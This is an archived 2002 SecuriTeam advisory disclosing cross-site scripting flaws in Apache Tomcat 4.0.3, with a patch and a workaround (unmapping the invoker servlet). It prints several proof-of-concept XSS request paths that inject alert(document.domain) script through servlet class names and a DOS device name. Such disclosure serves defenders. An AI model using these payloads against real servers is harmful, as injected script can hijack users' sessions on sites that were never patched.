

[NEWS] Apache Tomcat Cross-Site Scripting

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0033.html>

From: support@securiteam.com

Date: 07/10/02

From: support@securiteam.com

To: list@securiteam.com

Date: Wed, 10 Jul 2002 17:12:40 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Apache Tomcat Cross-Site Scripting

SUMMARY

Apache Tomcat is the servlet container that is used in the official Reference Implementation for the Java Servlet and JavaServer Pages technologies. Tomcat has a couple of Cross Site Scripting vulnerabilities.

DETAILS

Vulnerable systems:

- * Apache Tomcat version 4.0.3

By using the /servlet/ mapping to invoke various servlets / classes it is possible to cause Tomcat to throw an exception, allowing XSS attacks:

tomcat-server/servlet/org.apache.catalina.servlets.WebdavStatus/SCRIPTalert(document.domain)/SCRIPT

tomcat-server/servlet/org.apache.catalina.ContainerServlet/SCRIPTalert(document.domain)/SCRIPT

tomcat-server/servlet/org.apache.catalina.Context/SCRIPTalert(document.domain)/SCRIPT

tomcat-server/servlet/org.apache.catalina.Globals/SCRIPTalert(document.domain)/SCRIPT

(angle brackets omitted)

The DOS device name physical path disclosure bug reported recently by Peter Grundl can also be used to perform XSS attacks, e.g.:

tomcat-server/COM2.IMG%20src= "Javascript:alert(document.domain)"

Securiteam: [NEWS] Apache Tomcat Cross-Site Scripting

Patch Information:

Upgrading to v4.1.3 beta resolves the DOS device name XSS issue.

The workaround for the other XSS issues described above is as follows:

The "invoker" servlet (mapped to /servlet/), which executes anonymous servlet classes that have not been defined in a web.xml file should be unmapped. The entry for this can be found in the /tomcat-install-dir/conf/web.xml file.

ADDITIONAL INFORMATION

The information has been provided by <mailto:matt@westpoint.ltd.uk> Matt Moore.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[UNIX] Carello Remote File Execution"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)